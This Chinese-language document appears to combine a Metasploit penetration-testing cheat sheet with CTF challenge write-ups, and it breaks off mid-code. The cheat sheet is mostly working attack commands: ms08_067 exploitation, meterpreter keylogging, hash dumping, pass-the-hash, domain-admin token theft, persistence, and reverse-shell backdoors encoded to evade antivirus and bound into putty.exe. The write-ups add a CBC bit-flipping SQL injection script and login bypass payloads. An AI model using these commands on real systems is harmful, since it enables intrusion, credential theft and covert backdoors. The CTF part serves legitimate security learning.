①whois 查询:
msf > whois example.com
msf> whois 192.168.1.100

②在线手机服务器IP工具

③nslookup
set type=mx
example.com

2、用nmap 探测开放端口和服务:

-sS SYN 半开扫描
-sT TCP 半开扫描
-Pn 不使用ping方式探测主机
-A 探测服务类型
-6 开启IPV6 扫描
-O 探测操作系统版本

常用扫描参数组合:
nmap –sS –Pn 192.168.0.111
nmap –sS –Pn –A 192.168.0.111

3、MSF 与postgresql 协同工作

/etc/init.d/postgreql-8.3 start
msf> db_connect postgres:toor@127.0.0.1/msf
msf> db_status
导入nmap 扫描的结果:
nmap –sS –Pn –A –oX Subnet1 192.168.1.0/24 # -oX 扫描结果导出为Subnet1.xml

msf> db_import Subnet1.xml

msf> db_hosts –c address #查看导入的主机IP
(msf 也可以和mysql 一起工作,在bt5 r1 中msf 默认支持连接mysql:
msf> db_driver mysql
msf> db_connect root:toor@127.0.0.1/msf3 #连接本机mysql 的msf3 数据库
mysql 默认密码toor,使用db_connect连接时会自动创建msf3 库)

4、高级扫描方式:

①msf> use auxiliary/scanner/ip/ipidseq #IPID 序列扫描器,与nmap 的-sI -O 选项类似
show options
set RHOSTS 192.168.1.0/24
set RPORT 8080
set THREADS 50
run (RHOSTS、RPORT 等参数也可以用小写)
②msf> nmap –PN –sI 192.168.1.09 192.168.1.155
③nmap 连接数据库:
msf> db_connect postgres:toor@127.0.0.1/msf
msf> db_nmap –sS –A 192.168.1.111
msf> db_services #查看扫描结果
④使用portscan 模块:
msf> search postscan
msf> use scanner/postscan/syn
set RHOSTS 192.168.1.111
set THREADS 50
run

5、特定扫描:

smb_version 模块:
msf> use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 192.168.1.111
run
db_hosts –c address,os_flavor
查找mssql 主机:
msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run

SSH 服务器扫描:
msf> use auxiliary/scanner/ssh/ssh_version
set THREADS 50
run

FTP 主机扫描:
msf> use auxiliary/scanner/ftp/ftp_version
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run

扫描FTP 匿名登录:
use auxiliary/scanner/ftp/anonymos
set RHOSTS 192.168.1.0/24
set THREADS 50
run

扫描SNMP 主机:
msf> use auxiliary/scanner/snmp/snmp_login
set RHOSTS 192.168.1.0/24
set THREADS 50
run

四.基本漏洞扫描

1、使用nc与目标端口通信,获取目标端口的信息:

nc 192.168.1.111 80
GET HTTP 1/1
Server: Microsoft-IIS/5.1
(1:还有一个功能与nc 类似的工具Ncat,产自nmap 社区,可实现相同功能:
ncat -C 192.168.1.111 80
GET / HTTP/1.0

2:题外:ncat 还可以做聊天服务器呢!在服务器端监听然后多个客户端直接连上就可以聊天了:服务器(chatserver):ncatncat -l –chat 其他客户端:ncat chatserver

3:ncat 还可以用来查看各种客户端的请求信息,比如论坛里有人问中国菜刀有木有后门,那么可以这样查看中国菜刀连接后门时发送的数据:
服务器(server.example.com)上:
ncat -l –keep-open 80 –output caidao.log > /dev/null
然后使用菜刀连接http://server.example.com/nc.php 并请求操作,这是菜刀发送的数据就保存到服务器的caidao.log里面了。也可以导出为hex格式,–output 换为–hex-dump就可以了。

4:其实与nc 功能类似的工具在kali里面还有很多,比如还有一个sbd:
监听:sbd -l -p 12345
连接:sbd 192.168.1.111 12345

5:当然也可以用来聊天,与ncat的不同之处在于ncat 自动对用户编号user1、user2、…,而sbd可以自定义昵称,且不需要专门单独监听为聊天服务器:
pc1:sbd -l -p 12345 -P chowner
pc2:sbd pc1 12345 -P evil

6:其实nc 也可以用来聊天的:
pc1:nc -l -p 12345
pc2:telnet pc1 12345)

3、与nessus 结合扫描:

使用Nessus 扫描完成后生成.nessus格式的报告,导入到MSF:
db_connect postgres:toor@127.0.0.1/msf
db_import /tmp/nessus_report_Host_test.nessus
db_hosts –c address,svcs,vulns
db_vulns
在MSF 中使用Nessus:
db_connect postgres:toor@127.0.0.1/msf
load nessus
nessus_connect nessus:toor@192.168.1.111:8834 ok
nessus_policy_list #查看存在的扫描规则
nessus_scan_new 2 bridge_scan 192.168.1.111 #2 表示规则的ID 号,bridge_scan 自定义扫描名称
nessus_scan_status #查看扫描进行状态
nessus_report_list #查看扫描结果
nessus_report_get skjla243-3b5d-* #导入报告
db_hosts –c address,svcs,vulns

4、特殊扫描:

SMB 弱口令:
msf> use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.111-222
set SMBUser Administrator
set SMBPass admin
run

VNC 空口令:
msf> use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS 192.168.1.111
run

Open X11 空口令:
msf> use auxiliary/scanner/x11/open_x11
set RHOST 192.168.1.0/24
set THREADS 50
run

当扫描到此漏洞的主机后可以使用xspy工具来监视对方的键盘输入:
cd /pentest/sniffers/xspy/
./xspy –display 192.168.1.125:0 –delay 100

五.基础溢出命令

1、基本命令:

查看可用溢出模块show exploits
查看辅助模块show auxiliary 包括扫描器,拒绝服务模块,fuzzer 工具或其他
查看可用选项show options

加载模块后退出此模块back
例子:
msf> use windows/smb/ms08_067_netapi
back

搜索模块search
例子: searh mssql search ms08_067
查看当前模块可用的payload: show payloads
例子:
use windows/smb/ms08_067_netapi
show payloads
set payload windows/shell/reverse_tcp
show options
查看可选的目标类型show targets
查看更多信息info
设置一个选项或取消设置set/unset
设置或取消全局选项setg/unsetg 例如设置LHOST 就可以用setg,避免后面重复设置
保存全局选项的设置save 当下次启动仍然生效
查看建立的session sessions –l
激活session sessions –i num #num 为session 编号

2、暴力端口探测:

当主机端口对外开放但是普通探测方法无法探测到时,用此模块,msf将对目标的所有端口进行尝试,直到找到一个开放端口并与测试者建立连接。
例子:
use exploit/windows/smb/ms08_067_netapi
set LHOST 192.168.1.111
set RHOST 192.168.1.122
set TARGET 39 #Windows XP SP3 Chinese -Simplified (NX)
search ports #搜索与ports 相关模块
set PAYLOAD windows/meterpreter/reverse_tcp_allports
exploit –j #作为后台任务运行
sessions –l –v
sesssions –i 1

3、MSF 脚本文件:

为了缩短测试时间可以将msf命令写入一个文件,然后在msf 中加载它。加载方式:msfconsole 的resource 命令或者msfconsole 加上-r 选项

六.METERPRETER

1、当对目标系统进行溢出时,使用meterpreter 作为payload,给测试者返回一个shell,可用于在目标机器上执行更多的操作。

例子:
msf> nmap –sT –A –P0 192.168.1.130 #探测开放服务
假如已经探测到1433(TCP)和1434(UDP)端口(mssql),
msf> nmap –sU 192.168.1.130 –P 1434 #确认端口开放
msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.1/24
set THREADS 20
exploit
至此可获取服务器名称,版本号等信息。
msf> use auxiliary/scanner/mssql/mssql_login
show options
set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt
set RHOSTS 192.168.1.130
set THREADS 10
set verbose false
exploit
暴力猜解登陆密码。接下来使用mssql自带的xp_cmdshell 功能添加账户:
msf> use exploit/windows/mssql/mssql_payload
show options
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 433
set RHOST 192.168.1.130
set PASSWORD password130
exploit
当获取到一个meterpreter shell后可以执行更多的操作:获取屏幕截图:screenshot
获取系统信息:sysinfo
获取键盘记录:
meterpreter> ps

#查看目标机器进程,假设发现explorer.exe的进程号为1668:
meterpreter> migrate 1668 #插入该进程
meterpreter> run post/windows/capture/keylog_recorder #运行键盘记录模块,将击键记录保存到本地txt
cat /root/.msf3/loot/*.txt #查看结果

获取系统账号密码:
meterpreter> use priv
meterpreter> run post/windows/gather/hashdump
当获取到密码的hash之后无法破解出明文密码且无法直接使用hash 登陆,需要使用pass-the-hash 技术 :
msf> use windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
set RHOST 192.168.1.130
set SMBPass aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
exploit
获取到系统权限后我们可以新建一个普通账号,然后使用此账号执行我们的后门:

在目标机器上执行:net uaer hacker pass /add
本地生成一个后门程序:
msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.111 LPORT=443 X >payload.exe
将payload.exe拷贝到目标机器然后使用新建立的账号执行本地执行端口监听,等待来自目标机器连接:
msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.1.111 LPORT=443
use priv
getsystem
getuid
至此取得SYSTEM 权限

2、令牌模拟:当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限,之后登陆其他机器时不需要登陆密码。

meterpreter> ps # 查看目标机器进程,找出域控账户运行的进程ID,假如发现PID 为380
meterpreter> steal_token 380
有时ps 命令列出的进程中可能不存在域控账户的进程,此时使用incognito 模块查看可用token:
meterpreter> use incognito
meterpreter> list_tokens –u #列出可用token,假如找到域控token
meterpreter> impersonate_token SNEAKS.IN\ihazdomainadmin
meterpreter> add_user hacker password –h 192.168.1.50 #在域控主机上添加账户
meterpreter> add_group_user “Domain Admins” hacker –h 192.168.1.50 #将账户添加至域管理员组

3、内网渗透:当取得同网段内一台主机的权限后可以进一步渗透网内其他主机:

例子:
meterpreter> run get_local_subnets #查看网段/子网
Local subnet: 192.168.33.0/255.255.255.0
meterpreter> background #转入后台运行
msf> route add 192.168.33.0 255.255.255.0 1 #本地添加路由信息
msf> route print #查看添加的信息
msf> use linux/samba/lsa_transnames_heap #准备向内网目标主机进攻
set payload linux/x86/shell/reverse_tcp
set LHOST 10.10.1.129 #此处为attacking 主机的外网IP
set LPORT 8080
set RHOST 192.168.33.132 #内网目标主机
exploit
也可以使用自动式添加路由模块:
msf> load auto_add_route
msf> exploit

4、Meterpreter 脚本:

使用run scriptname 方式执行
①vnc 脚本,获取远程机器vnc 界面控制
meterpreter> run vnc
meterpreter> run screen_unlock
②进程迁移
当攻击成功后将连接进程从不稳定进程(如使用浏览器溢出漏洞exp 进行攻击时浏览器可能会被目标关闭)迁移至稳定进程(explorer.exe),保持可连接。
例子:
meterpreter> run post/windows/manage/migrate
(在64 位win7 中migrate需要管理员权限执行后门才能成功,而migrate 前后获取的权限是有差异的。)
③关闭杀毒软件
meterpreter> run killav (这个脚本要小心使用,可能导致目标机器蓝屏死机。)
④获取系统密码hash
meterpreter> run hashdump
(64 位win7 下需要管理员权限执行后门且先getsystem,然后使用run post/windows/gather/hashdump 来dump hash 成功率更高。而且如果要使用shell 添加系统账户的话win7 下得先:
run post/windows/escalate/bypassuac ,不然可能不会成功。)
⑤获取系统流量数据
meterpreter> run packtrecorder –i 1
⑥直捣黄龙
可以干很多事情:获取密码,下载注册表,获取系统信息等
meterpreter> run scraper
⑦持久保持
当目标机器重启之后仍然可以控制
meterpreter> run persistence –X –i 50 –p 443 –r 192.168.1.111
-X 开机启动-i 连接超时时间–p 端口–rIP
下次连接时:
msf> use multi/handler
set payload windows/meterpreter/reverse_tcp
set LPOST 443
set LHOST 192.168.1.111
exploit
(会在以下位置和注册表以随机文件名写入文件等信息,如:
C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs
C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP)
⑧POST 整合模块
可实现同时多个session 操作
例子:获取hash
meterpreter> run post/windows/gather/hashdump
其他还有很多,使用TAB 键补全看下就知道run post/

5、升级command shell

例子:
msfconsole
msf> search ms08_067
msf> use windows/smb/ms08_067_netapi
set PAYLOAD windows/shell/reverse_tcp
set TARGET 3
setg LHOST 192.168.1.111
setg LPORT 8080
exploit –z #后台运行,如果此处未使用-z参数,后面可以按CTRL-Z 转到后台
sessions –u 1 #升级shell,必须前面使用setg 设定
sessions –i 2

6、使用Railgun 操作windows APIs

例子:
meterpreter> irb

client.railgun.user32.MessageBoxA(o,”hello”,”world”,”MB_OK”)
在目标机器上会弹出一个标题栏为world和内容为hello 的窗口

七.避开杀软

1、使用msfpayload 创建可执行后门:

例子:
msfpayload windows/shell_reverse_tcp 0 #查看选项
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 X >
/var/www/payload1.exe
然后本机监听端口
msf> use exploit/multi/handler
show options
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.1.111
set LPORT 31337
exploit

2、过杀软—使用msfencode 编码后门:

msfencode –l #列出可用编码器
例子:
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 R
|msfencode –e x86/shikata_ga_nai –t exe > /var/www/payload2.exe
使用R 参数作为raw 输出至管道,再经过msfencode 处理,最后导出。

3、多次编码:

例子:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=31337 R |
msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/alpha_upper –c 2 –t raw |
msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/countdown –c 5 –t exe –o
/var/www/payload3.exe
简单编码被杀机会很大,使用多次编码效果更好,这里一共使用了17 次循环编码。

4、自定义可执行程序模板:

msfencode 默认使用data/templates/templates.exe(msf v4 在templates 目录下有针对不同平台的不同模板)作为可执行程序的模板,杀毒厂商也不是傻逼,所以这里最好使用自定义模板,如:
wget http://download.sysinternals.com/Files/ProcessExplorer.zip
cd work
unzip ProcessExplorer.zip
cd ..
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode
–t exe –x work/procexp.exe –o/var/www/pe_backdoor.exe –e x86/shikata_ga_nai –c 5
在目标机器上运行,然后本地使用msfcli监听端口等待反弹连接:
msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.1.111
LPORT=8080 E

5、暗度陈仓—猥琐执行payload:

绑定payload 至一个可执行文件,让目标不知不觉间中招,以putty.exe 为例:
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode
–t exe –x putty.exe -o /var/www/putty_backdoor.exe –e x86/shikata_ga_nai –k –c 5
假如选择一个GUI界面的程序作为绑定目标并且不使用-k 选项,则目标执行此程序的时候不会弹出cmd窗口,-k 选项的作用是payload独立于模板软件的进程运行。

实验吧ctf题小计

实验吧ctf题小计

天下武功唯快不破

这道题给出提示
There is no martial art is indefectible, while the fastest speed is the only way for long success.
You must do it as fast as you can!
审查元素发现注释
please post what you find with parameter:key
也就是我们需要post传参一个key值得到flag
bp抓包看一下
image
响应头中有FLAGbase64编码,但是发现每一次请求都会改变base64值,所以我们需要写一个小脚本来快速抓取FLAG解码再post传参

1
2
3
4
5
6
7
8
9
10
11
 # -*- coding: utf-8 -*
import requests
import base64

r= requests.get("http://ctf5.shiyanbar.com/web/10/10.php")
r=r.headers.get('FLAG')
r=base64.b64decode(r)
print r[25:34]
d = {'key':r[25:34]}
r = requests.post("http://ctf5.shiyanbar.com/web/10/10.php", data=d)
print r.text

得到flag: CTF{Y0U_4R3_1NCR3D1BL3_F4ST!}

what a fuck!这是什么鬼东西?

打开得到一坨[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!。。。。
这是JSFuck编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
false       =>  ![]
true => !![]
undefined => [][[]]
NaN => +[![]]
0 => +[]
1 => +!+[]
2 => !+[]+!+[]
10 => [+!+[]]+[+[]]
Array => []
Number => +[]
String => []+[]
Boolean => ![]
Function => []["filter"]
eval => []["filter"]["constructor"]( CODE )()
window => []["filter"]["constructor"]("return this")()

在线网站解码得到flag:Ihatejs

拐弯抹角

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
 <?php
// code by SEC@USTC

echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>';

$URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'<br/>';
$flag = "CTF{???}";

$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));\\从index.php中读入一个字符串,再讲文件字符串中的flag变量值改变为CTF{???}
$stop = 0;

//这道题目本身也有教学的目的
//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的
//所以,第一个要求就是不得出现 ./
if($flag && strpos($URL, './') !== FALSE){
$flag = "";
$stop = 1; //Pass
}

//第二,我们可以构造 \ 来代替被过滤的 /
//所以,第二个要求就是不得出现 ../
if($flag && strpos($URL, '\\') !== FALSE){
$flag = "";
$stop = 2; //Pass
}

//第三,有的系统大小写通用,例如 indirectioN/
//你也可以用?和#等等的字符绕过,这需要统一解决
//所以,第三个要求对可以用的字符做了限制,a-z / 和 .
$matches = array();
preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches);
if($flag && empty($matches) || $matches[1] != $URL){
$flag = "";
$stop = 3; //Pass
}

//第四,多个 / 也是可以的
//所以,第四个要求是不得出现 //
if($flag && strpos($URL, '//') !== FALSE){
$flag = "";
$stop = 4; //Pass
}

//第五,显然加上index.php或者减去index.php都是可以的
//所以我们下一个要求就是必须包含/index.php,并且以此结尾
if($flag && substr($URL, -10) !== '/index.php'){
$flag = "";
$stop = 5; //Pass
}

//第六,我们知道在index.php后面加.也是可以的
//所以我们禁止p后面出现.这个符号
if($flag && strpos($URL, 'p.') !== FALSE){
$flag = "";
$stop = 6; //Pass
}

//第七,现在是最关键的时刻
//你的$URL必须与/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
$flag = "";
$stop = 7; //Pass
}
if(!$stop) $stop = 8;

echo 'Flag: '.$flag;
echo '<hr />';
for($i = 1; $i < $stop; $i++)
$code = str_replace('//Pass '.$i, '//Pass', $code);
for(; $i < 8; $i++)
$code = str_replace('//Pass '.$i, '//Not Pass', $code);


echo highlight_string($code, TRUE);

echo '</body></html>';

代码中要求要去访问index.php,但是不能直接使用/indirection/index.php访问,同时过滤了./
、../、大小写绕过、//、文件后的. 、以及必须以/index.php结尾
在网上搜索了一下才知道可以利用伪静态技术,构造url:http://ctf5.shiyanbar.com/indirection/index.php/index.php
相当于服务器将第二个index.php当做参数处理了,服务器就只解析到第一个index.php
flag: CTF{PSEDUO_STATIC_DO_YOU_KNOW}

简单的登录题

开始随便输入,然后bp抓包,发现tips:test.php
image
访问http://ctf5.shiyanbar.com/web/jiandan/test.php
得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");\\想到cbc字节翻转攻击
error_reporting(0);
include('conn.php');
function sqliCheck($str){\\该函数对传入的变量进行过滤,防止SQL注入
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){\\该函数随机生产一个16位iv值
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);\\对传入的数组序列化
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);// 采用aes-128-cbc 方式加密序列化后的plain,返回原始或者base64编码后的字符串
setcookie("iv", base64_encode($iv));//cookie 值为base64编码的iv
setcookie("cipher", base64_encode($cipher));// cookie 值为bas64编码的值cipher
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);// 解码cookie和iv,并解密得到plain
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");\\这里的plain可能有两个值
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);

if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
}
else{
echo '<h1><center>Hello!</center></h1>';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))\\过滤非法参数
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);
login($info);
echo '<h1><center>Hello!</center></h1>';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<p><input type="submit" name="submit" value="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}

遇到的问题

  • 需要进行SQL注入但是遇到了关键字过滤

    1
    "/\\\|,|-|#|=|~|union|like|procedure/i"
  • SQL查询是id参数后面如何将后面的,0注释掉

  • 见到aes-128-cbc自然想到cbc字节翻转攻击,那么怎么来利用
    参考文章

解决方法

  • 利用%00截断后面的,0
  • 使用cbc翻转将lnion变为union绕过过滤(CBC翻转 关键在,初始化因子 xor 原文 xor 你想的字符串 得到 更改版的初始化因子)
CBC字节翻转攻击

参考文章
加密过程:
image
Plaintext:明文数据

IV:初始向量

Key:分组加密使用的密钥

Ciphertext:密文数据
解密过程:
每组解密时,先进行分组加密算法的解密,然后与前一组的密文进行异或才是最初的明文。

对于第一组则是与IV进行异或。

涉及名词:偏移量、php序列化、aes加密、异或

攻击过程:
对于解密时

设明文为X,密文为Y,解密函数为k。

X[i] = k(Y[i]) Xor Y[i-1]
解密第一组时

X[1]=k(Y[1]) Xor IV

对于X[i]的解密时,X[i] = k(Y[i]) Xor Y[i-1],k(Y[i])部分是无法控制的,假如修改Y[i]的值,是无法确定k(Y[i])的值,由于最后是异或操作,因此可以仅修改Y[i-1]的内容为Y’[i-1]来控制最后的明文的值,设解密后的内容为M[i]=k(Y[i]) Xor Y[i-1]。

将Y[i-1]的值设置为Y[i-1] Xor M[i]的值,新的Y[i-1]的值用Y’[i-1]表示。

那么X[i] = k(Y[i]) Xor Y’[i-1]=k(Y[i]) Xor Y[i-1] Xor M[i] = M[i] Xor M[i] = 0

这样就能将只修改Y[i-1]的内容来控制X[i]的值

而此时X[i-1]的值肯定就会出错了,设修改Y[i-1]的值,导致解密后X[i-1]的值为M[i-1],那么将Y[i-2]的值改为Y[i-2]=Y[i-2] Xor M[i-1] Xor 任意值,可以使得X[i-1]=任意值

这样循环往前,最后一组就是根据M[1]的值修改IV=IV Xor M[1] Xor 任意值,使得X[1]=任意值

对于本题来说,cookie中储存了初始的iv和cipher,我们可以利用bp修改,在本题中也是一样,先获取cipher 对应的cookie,然后字节反转为我们想要的payload,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
from base64 import *
import urllib
cipher='sZMYZaZsCxj98IedEp83YeaXgk4TtWPbw6D5mhkzP1I%3D'
cipher_raw=b64decode(urllib.unquote(cipher))
lst=list(cipher_raw)
idx=4
c1='2'
c2='#'
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
print(cipher_new)

这里得到了新的cipher,下面利用返回的密文值和公式 C = A XOR B得到新的iv,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
from base64 import *
import urllib
iv='Ko5zoC%2BklAcyqq%2BqihjbwA%3D%3D'
iv_raw=b64decode(urllib.unquote(iv))
first='a:1:{s:2:"id";s:'
plain=b64decode('g8COFrN/0Z3FDCOZ6MfV5zI6IjEjIjt9')
iv_new=''
for i in range(16):
iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i]))
iv_new=urllib.quote(b64encode(iv_new))
print iv_new

上述的两个脚本就可以修改iv, cipher, 将id=12 的情况变成id=1#,最后的查询脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# -*- coding:utf8 -*-
# 请保留我的个人信息,谢谢~!
__author__='pcat@chamd5.org'
from base64 import *
import urllib
import requests
import re
# 解码base64,获得iv,cipher的加密值
def mydecode(value):
return b64decode(urllib.unquote(value))
# 转码
def myencode(value):
return urllib.quote(b64encode(value))
# 字节反转:将指定偏移量的字符转换为新的字符
def mycbc(value,idx,c1,c2):
lst=list(value)
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
return ''.join(lst)
# 提交payload,获取cookie,并将cookie 解密为iv,cipher,再使用字节反转攻击,使得sql 查询能够成功
def pcat(payload,idx,c1,c2):
url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
myd={'id':payload}
res=requests.post(url,data=myd)
cookies=res.headers['Set-Cookie']
iv=re.findall(r'iv=(.*?),',cookies)[0]
cipher=re.findall(r'cipher=(.*)',cookies)[0]
iv_raw=mydecode(iv)
cipher_raw=mydecode(cipher)
# 字节反转,先转换cipher,得到aes加密的密文(非base64加密后得值),再利用异或,求出随机生成得iv
cipher_new=myencode(mycbc(cipher_raw,idx,c1,c2))
cookies_new={'iv':iv,'cipher':cipher_new}
cont=requests.get(url,cookies=cookies_new).content
plain=b64decode(re.findall(r"base64_decode\('(.*?)'\)",cont)[0])
first='a:1:{s:2:"id";s:'
iv_new=''
for i in range(16):
iv_new+=chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
iv_new=myencode(iv_new)
# 得到源码生产的随机值iv 和aes 加密得cipher,并且plain 明文在cbc字节反转下可控
cookies_new={'iv':iv_new,'cipher':cipher_new}
cont=requests.get(url,cookies=cookies_new).content
print 'Payload:%s\n>> ' %(payload)
print cont
pass
# 不断带入构造好的sql 语句,得到返回结果即可
def foo():
pcat('12',4,'2','#')
pcat('0 2nion select * from((select 1)a join (select 2)b join (select
3)c);'+chr(0),6,'2','u')
pcat('0 2nion select * from((select 1)a join (select group_concat(table_name) from
information_schema.tables where table_schema regexp database())b join (select
3)c);'+chr(0),7,'2','u')
pcat("0 2nion select * from((select 1)a join (select group_concat(column_name) from
information_schema.columns where table_name regexp 'you_want')b join (select
3)c);"+chr(0),7,'2','u')
pcat("0 2nion select * from((select 1)a join (select value from you_want limit 1)b join
(select 3)c);"+chr(0),6,'2','u')
pass
if __name__ == '__main__':
foo()
print 'ok'

后台登录

查看源码发现

1
2
3
4
5
6
7
8
9
<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
} -->

密码是经过md5哈希加密的,不懂网上查了一下,脑洞题,密码image中的ffifdyop

上传绕过

随便上传一个png图片
image
那上传一个PHP喃
image
在上传绕过里最有名的的就是00截断,那么我们就先要抓包
image

image

image

Once More

提示:科学计数法
源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

一道代码审计题,根据if语句要求,password必须大于9999999,但是长度小于8,而且还要等于-
根据提示科学计数法,再利用%00截断,因为ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配,构造password=1e8%00-
另一种方法也是利用题目中的函数遇到数字会返回NULL来绕过
image

程序逻辑问题

查看源码发现index.txt文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");

}


}

根据源码可以看到两处特别需要重视的地方,很明显该sql语句存在注入漏洞,但是密码栏不能通过一般的注入来绕过,但是可以发现,只要满足了($row[pw]) &&(!strcasecmp($pass,$row[pw])就可以拿到flag,也就是说,我们输入的$pass与从数据库取出来的pw一致就行,我们可以控制$pass的值,但是貌似不知道数据库中pw的值,但是我们可以直接用union select ‘某一个经过md5加密后的字符串’#来自己随意设定密码,注意这里一定是经过md5加密,不然会出错。

构造语句:’ and 0=1 union select ‘529CA8050A00180790CF88B63468826A’#

密码:hehe

就拿到flag了。

php大法

页面提示:index.php.txt
打开得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
